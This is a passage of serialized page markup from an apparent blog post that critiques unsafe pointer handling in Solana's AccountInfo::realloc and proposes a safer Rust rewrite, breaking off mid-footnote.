original_data_len",{"type":23,"tag":41,"props":17383,"children":17384},{"style":70},[17385],{"type":28,"value":1737},{"type":23,"tag":41,"props":17387,"children":17388},{"style":170},[17389],{"type":28,"value":855},{"type":23,"tag":41,"props":17391,"children":17392},{"style":64},[17393],{"type":28,"value":13708},{"type":23,"tag":41,"props":17395,"children":17396},{"style":70},[17397],{"type":28,"value":866},{"type":23,"tag":41,"props":17399,"children":17400},{"style":170},[17401],{"type":28,"value":2453},{"type":23,"tag":41,"props":17403,"children":17404},{"style":94},[17405],{"type":28,"value":13726},{"type":23,"tag":41,"props":17407,"children":17408},{"style":70},[17409],{"type":28,"value":102},{"type":23,"tag":41,"props":17411,"children":17412},{"class":43,"line":905},[17413,17417,17422,17426,17430,17434,17439,17443,17447,17451,17455,17459,17463,17467,17471],{"type":23,"tag":41,"props":17414,"children":17415},{"style":64},[17416],{"type":28,"value":3002},{"type":23,"tag":41,"props":17418,"children":17419},{"style":858},[17420],{"type":28,"value":17421}," key_ptr",{"type":23,"tag":41,"props":17423,"children":17424},{"style":170},[17425],{"type":28,"value":3017},{"type":23,"tag":41,"props":17427,"children":17428},{"style":64},[17429],{"type":28,"value":13791},{"type":23,"tag":41,"props":17431,"children":17432},{"style":170},[17433],{"type":28,"value":706},{"type":23,"tag":41,"props":17435,"children":17436},{"style":70},[17437],{"type":28,"value":17438},"key ",{"type":23,"tag":41,"props":17440,"children":17441},{"style":64},[17442],{"type":28,"value":8838},{"type":23,"tag":41,"props":17444,"children":17445},{"style":170},[17446],{"type":28,"value":9814},{"type":23,"tag":41,"props":17448,"children":17449},{"style":64},[17450],{"type":28,"value":846},{"type":23,"tag":41,"props":17452,"children":17453},{"style":858},[17454],{"type":28,"value":3039},{"type":23,"tag":41,"props":17456,"children":17457},{"style":64},[17458],{"type":28,"value":8825},{"type":23,"tag":41,"props":17460,"children":17461},{"style":170},[17462],{"type":28,"value":9814},{"type":23,"tag":41,"props":17464,"children":17465},{"style":64},[17466],{"type":28,"value":846},{"type":23,"tag":41,"props":17468,"children":17469},{"style":94},[17470],{"type":28,"value":14626},{"type":23,"tag":41,"props":17472,"children":17473},{"style":70},[17474],{"type":28,"value":183},{"type":23,"tag":41,"props":17476,"children":17477},{"class":43,"line":922},[17478,17482,17487,17491,17495,17499,17503,17507,17511,17516,17520,17524,17528,17532,17537],{"type":23,"tag":41,"props":17479,"children":17480},{"style":64},[17481],{"type":28,"value":3002},{"type":23,"tag":41,"props":17483,"children":17484},{"style":858},[17485],{"type":28,"value":17486}," original_data_len_ptr",{"type":23,"tag":41,"props":17488,"children":17489},{"style":170},[17490],{"type":28,"value":3017},{"type":23,"tag":41,"props":17492,"children":17493},{"style":858},[17494],{"type":28,"value":17421},{"type":23,"tag":41,"props":17496,"children":17497},{"style":170},[17498],{"type":28,"value":706},{"type":23,"tag":41,"props":17500,"children":17501},{"style":114},[17502],{"type":28,"value":13895},{"type":23,"tag":41,"props":17504,"children":17505},{"style":70},[17506],{"type":28,"value":1737},{"type":23,"tag":41,"props":17508,"children":17509},{"style":170},[17510],{"type":28,"value":4329},{"type":23,"tag":41,"props":17512,"children":17513},{"style":164},[17514],{"type":28,"value":17515},"4",{"type":23,"tag":41,"props":17517,"children":17518},{"style":70},[17519],{"type":28,"value":866},{"type":23,"tag":41,"props":17521,"children":17522},{"style":64},[17523],{"type":28,"value":8838},{"type":23,"tag":41,"props":17525,"children":17526},{"style":170},[17527],{"type":28,"value":9814},{"type":23,"tag":41,"props":17529,"children":17530},{"style":64},[17531],{"type":28,"value":846},{"type":23,"tag":41,"props":17533,"children":17534},{"style":94},[17535],{"type":28,"value":17536}," u32",{"type":23,"tag":41,"props":17538,"children":17539},{"style":70},[17540],{"type":28,"value":183},{"type":23,"tag":41,"props":17542,"children":17543},{"class":43,"line":930},[17544,17549,17554,17558],{"type":23,"tag":41,"props":17545,"children":17546},{"style":170},[17547],{"type":28,"value":17548},"    *",{"type":23,"tag":41,"props":17550,"children":17551},{"style":858},[17552],{"type":28,"value":17553},"original_data_len_ptr",{"type":23,"tag":41,"props":17555,"children":17556},{"style":64},[17557],{"type":28,"value":8825},{"type":23,"tag":41,"props":17559,"children":17560},{"style":94},[17561],{"type":28,"value":16961},{"type":23,"tag":41,"props":17563,"children":17564},{"class":43,"line":939},[17565],{"type":23,"tag":41,"props":17566,"children":17567},{"style":70},[17568],{"type":28,"value":201},{"type":23,"tag":24,"props":17570,"children":17571},{},[17572,17574,17579,17581,17586,17588,17593,17595,17600,17602,17609,17611,17618,17619,17626,17627,17634,17635,17642],{"type":28,"value":17573},"It's marked ",{"type":23,"tag":37,"props":17575,"children":17577},{"className":17576},[],[17578],{"type":28,"value":14348},{"type":28,"value":17580},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":37,"props":17582,"children":17584},{"className":17583},[],[17585],{"type":28,"value":13633},{"type":28,"value":17587},", which originally was not ",{"type":23,"tag":37,"props":17589,"children":17591},{"className":17590},[],[17592],{"type":28,"value":14348},{"type":28,"value":17594},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":37,"props":17596,"children":17598},{"className":17597},[],[17599],{"type":28,"value":14348},{"type":28,"value":17601}," block and added ",{"type":23,"tag":458,"props":17603,"children":17606},{"href":17604,"rel":17605},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[462],[17607],{"type":28,"value":17608},"a doc comment",{"type":28,"value":17610}," - adding to the ",{"type":23,"tag":458,"props":17612,"children":17615},{"href":17613,"rel":17614},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[462],[17616],{"type":28,"value":17617},"small",{"type":28,"value":6456},{"type":23,"tag":458,"props":17620,"children":17623},{"href":17621,"rel":17622},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[462],[17624],{"type":28,"value":17625},"pile",{"type":28,"value":6456},{"type":23,"tag":458,"props":17628,"children":17631},{"href":17629,"rel":17630},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[462],[17632],{"type":28,"value":17633},"of",{"type":28,"value":6456},{"type":23,"tag":458,"props":17636,"children":17639},{"href":17637,"rel":17638},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[462],[17640],{"type":28,"value":17641},"functions",{"type":28,"value":17643}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":446,"props":17645,"children":17647},{"id":17646},"towards-safer-unsafe",[17648,17650],{"type":28,"value":17649},"Towards safer ",{"type":23,"tag":37,"props":17651,"children":17653},{"className":17652},[],[17654],{"type":28,"value":14348},{"type":23,"tag":24,"props":17656,"children":17657},{},[17658,17660,17665,17667,17672,17674,17681],{"type":28,"value":17659},"Let's circle back to that main ",{"type":23,"tag":37,"props":17661,"children":17663},{"className":17662},[],[17664],{"type":28,"value":14348},{"type":28,"value":17666}," block inside ",{"type":23,"tag":37,"props":17668,"children":17670},{"className":17669},[],[17671],{"type":28,"value":13633},{"type":28,"value":17673}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":458,"props":17675,"children":17678},{"href":17676,"rel":17677},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[462],[17679],{"type":28,"value":17680},"this",{"type":28,"value":1474},{"type":23,"tag":31,"props":17683,"children":17685},{"className":2982,"code":17684,"language":2981,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[17686],{"type":23,"tag":37,"props":17687,"children":17688},{"__ignoreMap":7},[17689,17697,17708,17716,17803,17834,17841,17849,17976,18007],{"type":23,"tag":41,"props":17690,"children":17691},{"class":43,"line":44},[17692],{"type":23,"tag":41,"props":17693,"children":17694},{"style":48},[17695],{"type":28,"value":17696},"// realloc\n",{"type":23,"tag":41,"props":17698,"children":17699},{"class":43,"line":54},[17700,17704],{"type":23,"tag":41,"props":17701,"children":17702},{"style":64},[17703],{"type":28,"value":14348},{"type":23,"tag":41,"props":17705,"children":17706},{"style":70},[17707],{"type":28,"value":102},{"type":23,"tag":41,"props":17709,"children":17710},{"class":43,"line":76},[17711],{"type":23,"tag":41,"props":17712,"children":17713},{"style":48},[17714],{"type":28,"value":17715},"    // First set new length in the serialized data\n",{"type":23,"tag":41,"props":17717,"children":17718},{"class":43,"line":85},[17719,17723,17727,17731,17735,17739,17743,17747,17751,17755,17759,17763,17767,17771,17775,17779,17783,17787,17791,17795,17799],{"type":23,"tag":41,"props":17720,"children":17721},{"style":64},[17722],{"type":28,"value":3002},{"type":23,"tag":41,"props":17724,"children":17725},{"style":858},[17726],{"type":28,"value":13851},{"type":23,"tag":41,"props":17728,"children":17729},{"style":170},[17730],{"type":28,"value":3017},{"type":23,"tag":41,"props":17732,"children":17733},{"style":64},[17734],{"type":28,"value":13791},{"type":23,"tag":41,"props":17736,"children":17737},{"style":170},[17738],{"type":28,"value":706},{"type":23,"tag":41,"props":17740,"children":17741},{"style":114},[17742],{"type":28,"value":13868},{"type":23,"tag":41,"props":17744,"children":17745},{"style":70},[17746],{"type":28,"value":13873},{"type":23,"tag":41,"props":17748,"children":17749},{"style":170},[17750],{"type":28,"value":3132},{"type":23,"tag":41,"props":17752,"children":17753},{"style":114},[17754],{"type":28,"value":13882},{"type":23,"tag":41,"props":17756,"children":17757},{"style":70},[17758],{"type":28,"value":13873},{"type":23,"tag":41,"props":17760,"children":17761},{"style":170},[17762],{"type":28,"value":706},{"type":23,"tag":41,"props":17764,"children":17765},{"style":114},[17766],{"type":28,"value":13895},{"type":23,"tag":41,"props":17768,"children":17769},{"style":70},[17770],{"type":28,"value":1737},{"type":23,"tag":41,"props":17772,"children":17773},{"style":170},[17774],{"type":28,"value":4329},{"type":23,"tag":41,"props":17776,"children":17777},{"style":164},[17778],{"type":28,"value":4078},{"type":23,"tag":41,"props":17780,"children":17781},{"style":70},[17782],{"type":28,"value":866},{"type":23,"tag":41,"props":17784,"children":17785},{"style":64},[17786],{"type":28,"value":8838},{"type":23,"tag":41,"props":17788,"children":17789},{"style":170},[17790],{"type":28,"value":9814},{"type":23,"tag":41,"props":17792,"children":17793},{"style":64},[17794],{"type":28,"value":3723},{"type":23,"tag":41,"props":17796,"children":17797},{"style":94},[17798],{"type":28,"value":5860},{"type":23,"tag":41,"props":17800,"children":17801},{"style":70},[17802],{"type":28,"value":183},{"type":23,"tag":41,"props":17804,"children":17805},{"class":43,"line":105},[17806,17810,17814,17818,17822,17826,17830],{"type":23,"tag":41,"props":17807,"children":17808},{"style":170},[17809],{"type":28,"value":17548},{"type":23,"tag":41,"props":17811,"children":17812},{"style":858},[17813],{"type":28,"value":13943},{"type":23,"tag":41,"props":17815,"children":17816},{"style":170},[17817],{"type":28,"value":3017},{"type":23,"tag":41,"props":17819,"children":17820},{"style":858},[17821],{"type":28,"value":13952},{"type":23,"tag":41,"props":17823,"children":17824},{"style":64},[17825],{"type":28,"value":8825},{"type":23,"tag":41,"props":17827,"children":17828},{"style":94},[17829],{"type":28,"value":5860},{"type":23,"tag":41,"props":17831,"children":17832},{"style":70},[17833],{"type":28,"value":183},{"type":23,"tag":41,"props":17835,"children":17836},{"class":43,"line":155},[17837],{"type":23,"tag":41,"props":17838,"children":17839},{"emptyLinePlaceholder":18},[17840],{"type":28,"value":82},{"type":23,"tag":41,"props":17842,"children":17843},{"class":43,"line":186},[17844],{"type":23,"tag":41,"props":17845,"children":17846},{"style":48},[17847],{"type":28,"value":17848},"    // Then set the new length in the local slice\n",{"type":23,"tag":41,"props":17850,"children":17851},{"class":43,"line":195},[17852,17856,17860,17864,17868,17872,17876,17880,17884,17888,17892,17896,17900,17904,17908,17912,17916,17920,17924,17928,17932,17936,17940,17944,17948,17952,17956,17960,17964,17968,17972],{"type":23,"tag":41,"props":17853,"children":17854},{"style":64},[17855],{"type":28,"value":3002},{"type":23,"tag":41,"props":17857,"children":17858},{"style":858},[17859],{"type":28,"value":13851},{"type":23,"tag":41,"props":17861,"children":17862},{"style":170},[17863],{"type":28,"value":3017},{"type":23,"tag":41,"props":17865,"children":17866},{"style":170},[17867],{"type":28,"value":7140},{"type":23,"tag":41,"props":17869,"children":17870},{"style":64},[17871],{"type":28,"value":3723},{"type":23,"tag":41,"props":17873,"children":17874},{"style":170},[17875],{"type":28,"value":9814},{"type":23,"tag":41,"props":17877,"children":17878},{"style":70},[17879],{"type":28,"value":14011},{"type":23,"tag":41,"props":17881,"children":17882},{"style":64},[17883],{"type":28,"value":13708},{"type":23,"tag":41,"props":17885,"children":17886},{"style":170},[17887],{"type":28,"value":706},{"type":23,"tag":41,"props":17889,"children":17890},{"style":70},[17891],{"type":28,"value":3701},{"type":23,"tag":41,"props":17893,"children":17894},{"style":170},[17895],{"type":28,"value":706},{"type":23,"tag":41,"props":17897,"children":17898},{"style":114},[17899],{"type":28,"value":14032},{"type":23,"tag":41,"props":17901,"children":17902},{"style":70},[17903],{"type":28,"value":122},{"type":23,"tag":41,"props":17905,"children":17906},{"style":64},[17907],{"type":28,"value":8838},{"type":23,"tag":41,"props":17909,"children":17910},{"style":170},[17911],{"type":28,"value":9814},{"type":23,"tag":41,"props":17913,"children":17914},{"style":64},[17915],{"type":28,"value":846},{"type":23,"tag":41,"props":17917,"children":17918},{"style":94},[17919],{"type":28,"value":5860},{"type":23,"tag":41,"props":17921,"children":17922},{"style":70},[17923],{"type":28,"value":2678},{"type":23,"tag":41,"props":17925,"children":17926},{"style":170},[17927],{"type":28,"value":706},{"type":23,"tag":41,"props":17929,"children":17930},{"style":114},[17931],{"type":28,"value":13895},{"type":23,"tag":41,"props":17933,"children":17934},{"style":70},[17935],{"type":28,"value":1737},{"type":23,"tag":41,"props":17937,"children":17938},{"style":164},[17939],{"type":28,"value":317},{"type":23,"tag":41,"props":17941,"children":17942},{"style":70},[17943],{"type":28,"value":866},{"type":23,"tag":41,"props":17945,"children":17946},{"style":64},[17947],{"type":28,"value":8838},{"type":23,"tag":41,"props":17949,"children":17950},{"style":94},[17951],{"type":28,"value":5860},{"type":23,"tag":41,"props":17953,"children":17954},{"style":70},[17955],{"type":28,"value":866},{"type":23,"tag":41,"props":17957,"children":17958},{"style":64},[17959],{"type":28,"value":8838},{"type":23,"tag":41,"props":17961,"children":17962},{"style":170},[17963],{"type":28,"value":9814},{"type":23,"tag":41,"props":17965,"children":17966},{"style":64},[17967],{"type":28,"value":3723},{"type":23,"tag":41,"props":17969,"children":17970},{"style":94},[17971],{"type":28,"value":5860},{"type":23,"tag":41,"props":17973,"children":17974},{"style":70},[17975],{"type":28,"value":3825},{"type":23,"tag":41,"props":17977,"children":17978},{"class":43,"line":905},[17979,17983,17987,17991,17995,17999,18003],{"type":23,"tag":41,"props":17980,"children":17981},{"style":170},[17982],{"type":28,"value":17548},{"type":23,"tag":41,"props":17984,"children":17985},{"style":858},[17986],{"type":28,"value":13943},{"type":23,"tag":41,"props":17988,"children":17989},{"style":170},[17990],{"type":28,"value":3017},{"type":23,"tag":41,"props":17992,"children":17993},{"style":858},[17994],{"type":28,"value":13952},{"type":23,"tag":41,"props":17996,"children":17997},{"style":64},[17998],{"type":28,"value":8825},{"type":23,"tag":41,"props":18000,"children":18001},{"style":94},[18002],{"type":28,"value":5860},{"type":23,"tag":41,"props":18004,"children":18005},{"style":70},[18006],{"type":28,"value":183},{"type":23,"tag":41,"props":18008,"children":18009},{"class":43,"line":922},[18010],{"type":23,"tag":41,"props":18011,"children":18012},{"style":70},[18013],{"type":28,"value":201},{"type":23,"tag":24,"props":18015,"children":18016},{},[18017,18019,18024],{"type":28,"value":18018},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":37,"props":18020,"children":18022},{"className":18021},[],[18023],{"type":28,"value":15495},{"type":28,"value":18025}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":18027,"children":18028},{},[18029,18031,18036,18038,18043,18045,18050,18052,18057,18059,18064,18066,18072,18074,18084,18086,18097],{"type":28,"value":18030},"First, let's deal with the ",{"type":23,"tag":37,"props":18032,"children":18034},{"className":18033},[],[18035],{"type":28,"value":15495},{"type":28,"value":18037}," borrowing issue. When we ",{"type":23,"tag":37,"props":18039,"children":18041},{"className":18040},[],[18042],{"type":28,"value":13868},{"type":28,"value":18044},", we get a ",{"type":23,"tag":37,"props":18046,"children":18048},{"className":18047},[],[18049],{"type":28,"value":16729},{"type":28,"value":18051}," back, which represents our borrow of the ",{"type":23,"tag":37,"props":18053,"children":18055},{"className":18054},[],[18056],{"type":28,"value":15495},{"type":28,"value":18058},"'s data. The fix here is simple: keep that ",{"type":23,"tag":37,"props":18060,"children":18062},{"className":18061},[],[18063],{"type":28,"value":16729},{"type":28,"value":18065}," around and use it to access the data, instead of using ",{"type":23,"tag":37,"props":18067,"children":18069},{"className":18068},[],[18070],{"type":28,"value":18071},"RefCell::as_ptr",{"type":28,"value":18073},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":15465,"props":18075,"children":18076},{},[18077],{"type":23,"tag":458,"props":18078,"children":18082},{"href":18079,"ariaDescribedBy":18080,"dataFootnoteRef":7,"id":18081},"#user-content-fn-rustc-llvm",[15472],"user-content-fnref-rustc-llvm",[18083],{"type":28,"value":17515},{"type":28,"value":18085}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":15465,"props":18087,"children":18088},{},[18089],{"type":23,"tag":458,"props":18090,"children":18094},{"href":18091,"ariaDescribedBy":18092,"dataFootnoteRef":7,"id":18093},"#user-content-fn-godbolt",[15472],"user-content-fnref-godbolt",[18095],{"type":28,"value":18096},"5",{"type":28,"value":18098},". So then we get:",{"type":23,"tag":31,"props":18100,"children":18102},{"className":2982,"code":18101,"language":2981,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[18103],{"type":23,"tag":37,"props":18104,"children":18105},{"__ignoreMap":7},[18106,18150,18157,18164,18248,18288,18295,18302],{"type":23,"tag":41,"props":18107,"children":18108},{"class":43,"line":44},[18109,18113,18117,18122,18126,18130,18134,18138,18142,18146],{"type":23,"tag":41,"props":18110,"children":18111},{"style":64},[18112],{"type":28,"value":11784},{"type":23,"tag":41,"props":18114,"children":18115},{"style":64},[18116],{"type":28,"value":3007},{"type":23,"tag":41,"props":18118,"children":18119},{"style":858},[18120],{"type":28,"value":18121}," slice",{"type":23,"tag":41,"props":18123,"children":18124},{"style":170},[18125],{"type":28,"value":3017},{"type":23,"tag":41,"props":18127,"children":18128},{"style":64},[18129],{"type":28,"value":13791},{"type":23,"tag":41,"props":18131,"children":18132},{"style":170},[18133],{"type":28,"value":706},{"type":23,"tag":41,"props":18135,"children":18136},{"style":114},[18137],{"type":28,"value":13868},{"type":23,"tag":41,"props":18139,"children":18140},{"style":70},[18141],{"type":28,"value":13873},{"type":23,"tag":41,"props":18143,"children":18144},{"style":170},[18145],{"type":28,"value":3155},{"type":23,"tag":41,"props":18147,"children":18148},{"style":70},[18149],{"type":28,"value":183},{"type":23,"tag":41,"props":18151,"children":18152},{"class":43,"line":54},[18153],{"type":23,"tag":41,"props":18154,"children":18155},{"emptyLinePlaceholder":18},[18156],{"type":28,"value":82},{"type":23,"tag":41,"props":18158,"children":18159},{"class":43,"line":76},[18160],{"type":23,"tag":41,"props":18161,"children":18162},{"style":48},[18163],{"type":28,"value":14395},{"type":23,"tag":41,"props":18165,"children":18166},{"class":43,"line":85},[18167,18171,18175,18179,18183,18187,18191,18195,18199,18203,18207,18211,18215,18219,18223,18228,18232,18236,18240,18244],{"type":23,"tag":41,"props":18168,"children":18169},{"style":64},[18170],{"type":28,"value":11784},{"type":23,"tag":41,"props":18172,"children":18173},{"style":858},[18174],{"type":28,"value":13851},{"type":23,"tag":41,"props":18176,"children":18177},{"style":170},[18178],{"type":28,"value":3017},{"type":23,"tag":41,"props":18180,"children":18181},{"style":64},[18182],{"type":28,"value":14582},{"type":23,"tag":41,"props":18184,"children":18185},{"style":70},[18186],{"type":28,"value":9584},{"type":23,"tag":41,"props":18188,"children":18189},{"style":858},[18190],{"type":28,"value":15305},{"type":23,"tag":41,"props":18192,"children":18193},{"style":170},[18194],{"type":28,"value":706},{"type":23,"tag":41,"props":18196,"children":18197},{"style":114},[18198],{"type":28,"value":13882},{"type":23,"tag":41,"props":18200,"children":18201},{"style":70},[18202],{"type":28,"value":13873},{"type":23,"tag":41,"props":18204,"children":18205},{"style":170},[18206],{"type":28,"value":706},{"type":23,"tag":41,"props":18208,"children":18209},{"style":114},[18210],{"type":28,"value":13895},{"type":23,"tag":41,"props":18212,"children":18213},{"style":70},[18214],{"type":28,"value":1737},{"type":23,"tag":41,"props":18216,"children":18217},{"style":170},[18218],{"type":28,"value":4329},{"type":23,"tag":41,"props":18220,"children":18221},{"style":164},[18222],{"type":28,"value":4078},{"type":23,"tag":41,"props":18224,"children":18225},{"style":70},[18226],{"type":28,"value":18227},") } ",{"type":23,"tag":41,"props":18229,"children":18230},{"style":64},[18231],{"type":28,"value":8838},{"type":23,"tag":41,"props":18233,"children":18234},{"style":170},[18235],{"type":28,"value":9814},{"type":23,"tag":41,"props":18237,"children":18238},{"style":64},[18239],{"type":28,"value":3723},{"type":23,"tag":41,"props":18241,"children":18242},{"style":94},[18243],{"type":28,"value":5860},{"type":23,"tag":41,"props":18245,"children":18246},{"style":70},[18247],{"type":28,"value":183},{"type":23,"tag":41,"props":18249,"children":18250},{"class":43,"line":105},[18251,18255,18259,18263,18267,18271,18275,18279,18283],{"type":23,"tag":41,"props":18252,"children":18253},{"style":64},[18254],{"type":28,"value":14348},{"type":23,"tag":41,"props":18256,"children":18257},{"style":70},[18258],{"type":28,"value":9584},{"type":23,"tag":41,"props":18260,"children":18261},{"style":170},[18262],{"type":28,"value":377},{"type":23,"tag":41,"props":18264,"children":18265},{"style":858},[18266],{"type":28,"value":13943},{"type":23,"tag":41,"props":18268,"children":18269},{"style":170},[18270],{"type":28,"value":3017},{"type":23,"tag":41,"props":18272,"children":18273},{"style":858},[18274],{"type":28,"value":13952},{"type":23,"tag":41,"props":18276,"children":18277},{"style":64},[18278],{"type":28,"value":8825},{"type":23,"tag":41,"props":18280,"children":18281},{"style":94},[18282],{"type":28,"value":5860},{"type":23,"tag":41,"props":18284,"children":18285},{"style":70},[18286],{"type":28,"value":18287}," };\n",{"type":23,"tag":41,"props":18289,"children":18290},{"class":43,"line":155},[18291],{"type":23,"tag":41,"props":18292,"children":18293},{"emptyLinePlaceholder":18},[18294],{"type":28,"value":82},{"type":23,"tag":41,"props":18296,"children":18297},{"class":43,"line":186},[18298],{"type":23,"tag":41,"props":18299,"children":18300},{"style":48},[18301],{"type":28,"value":16128},{"type":23,"tag":41,"props":18303,"children":18304},{"class":43,"line":195},[18305,18309,18313,18317,18321,18326,18330,18334,18338,18343,18347,18351,18355,18359,18364,18368],{"type":23,"tag":41,"props":18306,"children":18307},{"style":170},[18308],{"type":28,"value":377},{"type":23,"tag":41,"props":18310,"children":18311},{"style":858},[18312],{"type":28,"value":15305},{"type":23,"tag":41,"props":18314,"children":18315},{"style":170},[18316],{"type":28,"value":3017},{"type":23,"tag":41,"props":18318,"children":18319},{"style":64},[18320],{"type":28,"value":14582},{"type":23,"tag":41,"props":18322,"children":18323},{"style":70},[18324],{"type":28,"value":18325}," { std",{"type":23,"tag":41,"props":18327,"children":18328},{"style":170},[18329],{"type":28,"value":3479},{"type":23,"tag":41,"props":18331,"children":18332},{"style":70},[18333],{"type":28,"value":15305},{"type":23,"tag":41,"props":18335,"children":18336},{"style":170},[18337],{"type":28,"value":3479},{"type":23,"tag":41,"props":18339,"children":18340},{"style":114},[18341],{"type":28,"value":18342},"from_raw_parts_mut",{"type":23,"tag":41,"props":18344,"children":18345},{"style":70},[18346],{"type":28,"value":1737},{"type":23,"tag":41,"props":18348,"children":18349},{"style":858},[18350],{"type":28,"value":15305},{"type":23,"tag":41,"props":18352,"children":18353},{"style":170},[18354],{"type":28,"value":706},{"type":23,"tag":41,"props":18356,"children":18357},{"style":114},[18358],{"type":28,"value":13882},{"type":23,"tag":41,"props":18360,"children":18361},{"style":70},[18362],{"type":28,"value":18363},"(), ",{"type":23,"tag":41,"props":18365,"children":18366},{"style":858},[18367],{"type":28,"value":13717},{"type":23,"tag":41,"props":18369,"children":18370},{"style":70},[18371],{"type":28,"value":14737},{"type":23,"tag":24,"props":18373,"children":18374},{},[18375,18377,18382,18384,18389,18391,18396,18398],{"type":28,"value":18376},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":37,"props":18378,"children":18380},{"className":18379},[],[18381],{"type":28,"value":8041},{"type":28,"value":18383}," and not a ",{"type":23,"tag":37,"props":18385,"children":18387},{"className":18386},[],[18388],{"type":28,"value":16589},{"type":28,"value":18390}," for the size field, given that ",{"type":23,"tag":37,"props":18392,"children":18394},{"className":18393},[],[18395],{"type":28,"value":16589},{"type":28,"value":18397}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":15465,"props":18399,"children":18400},{},[18401],{"type":23,"tag":458,"props":18402,"children":18406},{"href":18403,"ariaDescribedBy":18404,"dataFootnoteRef":7,"id":18405},"#user-content-fn-slice-unbound-lifetime",[15472],"user-content-fnref-slice-unbound-lifetime",[18407],{"type":28,"value":18408},"6",{"type":23,"tag":18410,"props":18411,"children":18414},"section",{"className":18412,"dataFootnotes":7},[18413],"footnotes",[18415,18422],{"type":23,"tag":446,"props":18416,"children":18419},{"className":18417,"id":15472},[18418],"sr-only",[18420],{"type":28,"value":18421},"Footnotes",{"type":23,"tag":5436,"props":18423,"children":18424},{},[18425,18530,18548,18603,18616,18644],{"type":23,"tag":421,"props":18426,"children":18428},{"id":18427},"user-content-fn-rc-refs",[18429,18431,18437,18439,18444,18446,18450,18452,18456,18458,18463,18465,18471,18473,18478,18480,18490,18492,18497,18499,18504,18506,18511,18513,18519,18521],{"type":28,"value":18430},"I find it helpful to view owning an ",{"type":23,"tag":37,"props":18432,"children":18434},{"className":18433},[],[18435],{"type":28,"value":18436},"Rc\u003CT>",{"type":28,"value":18438}," as holding a shared reference to the underlying ",{"type":23,"tag":37,"props":18440,"children":18442},{"className":18441},[],[18443],{"type":28,"value":1634},{"type":28,"value":18445}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":2913,"props":18447,"children":18448},{},[18449],{"type":28,"value":16446},{"type":28,"value":18451}," ensures that the actual ",{"type":23,"tag":2913,"props":18453,"children":18454},{},[18455],{"type":28,"value":3701},{"type":28,"value":18457}," stays alive, however all you have is a reference to the ",{"type":23,"tag":37,"props":18459,"children":18461},{"className":18460},[],[18462],{"type":28,"value":1634},{"type":28,"value":18464}," (through the ",{"type":23,"tag":37,"props":18466,"children":18468},{"className":18467},[],[18469],{"type":28,"value":18470},"Deref\u003CTarget = T>",{"type":28,"value":18472}," impl) - ",{"type":23,"tag":2913,"props":18474,"children":18475},{},[18476],{"type":28,"value":18477},"not",{"type":28,"value":18479}," ownership ",{"type":23,"tag":2913,"props":18481,"children":18482},{},[18483,18485],{"type":28,"value":18484},"of the ",{"type":23,"tag":37,"props":18486,"children":18488},{"className":18487},[],[18489],{"type":28,"value":1634},{"type":28,"value":18491},". In short, owning an ",{"type":23,"tag":37,"props":18493,"children":18495},{"className":18494},[],[18496],{"type":28,"value":18436},{"type":28,"value":18498}," is owning a (shared, read-only) reference to ",{"type":23,"tag":37,"props":18500,"children":18502},{"className":18501},[],[18503],{"type":28,"value":1634},{"type":28,"value":18505},", not owning ",{"type":23,"tag":37,"props":18507,"children":18509},{"className":18508},[],[18510],{"type":28,"value":1634},{"type":28,"value":18512}," directly like with ",{"type":23,"tag":37,"props":18514,"children":18516},{"className":18515},[],[18517],{"type":28,"value":18518},"Box\u003CT>",{"type":28,"value":18520},". ",{"type":23,"tag":458,"props":18522,"children":18527},{"href":18523,"ariaLabel":18524,"className":18525,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18526],"data-footnote-backref",[18528],{"type":28,"value":18529},"↩",{"type":23,"tag":421,"props":18531,"children":18533},{"id":18532},"user-content-fn-sendsync",[18534,18540,18541],{"type":23,"tag":37,"props":18535,"children":18537},{"className":18536},[],[18538],{"type":28,"value":18539},"!Send + !Sync",{"type":28,"value":6456},{"type":23,"tag":458,"props":18542,"children":18546},{"href":18543,"ariaLabel":18544,"className":18545,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18526],[18547],{"type":28,"value":18529},{"type":23,"tag":421,"props":18549,"children":18551},{"id":18550},"user-content-fn-layout",[18552,18554,18559,18560,18573,18575,18580,18582,18587,18589,18594,18596],{"type":28,"value":18553},"Note that this is a terrible idea for yet another reason: 